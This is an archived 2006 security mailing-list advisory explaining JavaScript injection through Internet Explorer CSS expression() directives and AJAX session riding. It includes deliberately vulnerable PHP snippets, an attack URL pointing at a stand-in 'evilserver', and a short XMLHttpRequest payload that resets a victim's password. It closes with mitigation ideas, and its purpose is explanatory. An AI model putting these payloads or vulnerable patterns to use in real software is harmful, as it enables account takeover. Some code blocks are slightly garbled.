

[REVS] Misunderstanding Javascript Injection: Web Application Abuse via Javascript Injection

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2006-02/msg00024.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 7 Feb 2006 18:12:01 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Misunderstanding Javascript Injection: Web Application Abuse via Javascript Injection

SUMMARY

Whilst it is common to see the issue of Javascript injection on the various security oriented mailing lists, there are issues Tim has not seen much mention of, this paper seeks to rectify that.

This paper seeks to make two key points:

1. To successfully inject, doesn't require Javascript: or the <script> tag.
2. After successful injection, stuff the cookie, AJAX gives more room to move.

DETAILS

1. A little known feature of Microsoft's Internet Explorer is that it allows Javascript within cascading style sheets using the <<http://msdn.microsoft.com/workshop/author/dhtml/overview/recalc.asp>> expression directives. Consider the following code fragment in PHP:

```
<?php
```

[REVS] Misunderstanding Javascript Injection: Web Application Abuse via Javascript Injection

```
echo "< link rel=\"stylesheet\" type=\"text/css\" href=\"\" .  
$_GET[\"theme\"] . \"/style.css\">\n";  
?>
```

As you can see, the PHP interpreter will construct the URL to the style.css file, based on user input, which gives us a vector of attack. By requesting a URL of <http://server/index.php?theme=http://evilserver> the web server will return a page including the HTML code:

```
< link rel="stylesheet" type="text/css"  
href="http://evilserver/style.css">
```

and the client will therefore fetch our style sheet from evil server. Taking a copy of the original style sheet from server, we then tweak it so that properties of the p class include our malicious code:

```
p { behaviour:expression(function(element){  
.. malicious code ...  
})(this));
```

What this does it bind an anonymous function containing our malicious code to the p <<http://milov.nl/2389>> behavior property implemented in Microsoft's propriety DHTML implementation. This anonymous function will be called for each <p> tag within the returned page.

It should be observed that the code above is just an example of a more generalised case. The cascading style sheet directive <<http://msdn.microsoft.com/workshop/author/dhtml/overview/recalc.asp>> URL can also be used to reference a remote Javascript file and the injection point can be anywhere that can be used to define a style.

2. Pretty much all the major browsers in use today support asynchronous HTTP <<http://webfx.eae.net/dhtml/pngbehavior/pngbehavior.html>> requests and it's being extensively leveraged to provide a more dynamic web. However, for all the good uses in AJAX enabled web applications it suffers from major draw backs.

Requests via the XMLHTTP interface run with the same rights (within the web server) as legitimate requests by a user using the same site. If a user is logged in and therefore has a valid cookie, this cookie will be sent in all requests made by any Javascript code injected into the web page as long as the requests are for URLs on the same domain.

Now, that doesn't sound too bad, until you consider that the XMLHTTP interface supports both the GET and POST methods and can make multiple, undetectable requests. This is exactly what you'd need to spoof a session to, for example create a new administrative user, change the current users password etc. Consider the following code fragment in PHP:

```
<?php  
session_name("user");  
session_start();  
if (!isset($_SESSION["authenticated"])) {  
$_SESSION["authenticated"] = 1;  
}
```

?>

==

<?php

```
echo "< form method=\"get\" action=\"\" . $PHP_SELF . "\">\n";  
echo "< input type=\"text\" name=\"input\" value=\"\" length=\"500\">\n";  
echo "< input type=\"submit\" name=\"submit\" value=\"Submit\">\n";  
echo "</form>\n";  
if (isset($ GET["input"]) && $ GET["input"] != "" && $ GET["submit"] ==  
"Submit") {  
echo "<p>\n";  
print $ GET["submit"] . "\n";  
echo "</p>\n";  
}  
?>
```

As you can see, this does two things, firstly it sets the cookie variable authenticated to 1 and secondly it returns a form to the current user which is vulnerable to Javascript injection. If we can get a user to follow our link (passing through any required authentication checks) we then have the ability to make further requests via the XMLHTTP interface like so:

<script>

```
var HTTPSession = new XMLHttpRequest();  
HTTPSession.open("GET",  
"chpassword.php?password1=pwn3d&password2=pwn3d&submit=Submit");  
HTTPSession.send(null);  
HTTPSession.open("GET", "logout.php");  
HTTPSession.send(null);  
</script>
```

Solution:

Given the issues that Javascript injection poses, it is questionable whether it should be enabled by default on web browsers as they are supplied to members of the public. It is also questionable that Javascript should be considered an all or nothing option. Web browser developers need to up their game and start to provide sandbox functionality similar to that found in JVM, with options to limit access to dangerous interfaces on an individual site by site basis in a granular manner. It should also be considered whether it would be possible for Javascript code to be signed in a manner which makes use of existing PKI to lessen the opportunities available to malicious code. With specific reference to the use of Javascript within cascading style sheets, Microsoft have made it fairly awkward since they only allow a single expression to be evaluated, but perhaps it would be wise to completely disable this functionality.

ADDITIONAL INFORMATION

The information has been provided by <mailto:netsys@xxxxxxxxxxxxxxxx> Tim Brown.

The original article can be found at:

<<http://www.nth-dimension.org.uk/news/entry.php?e=156579087>>

<http://www.nth-dimension.org.uk/news/entry.php?e=156579087>

Another paper on the subject can be found at:

<<http://www.securiteam.com/securityreviews/6H00D0KEAY.html>>

<http://www.securiteam.com/securityreviews/6H00D0KEAY.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.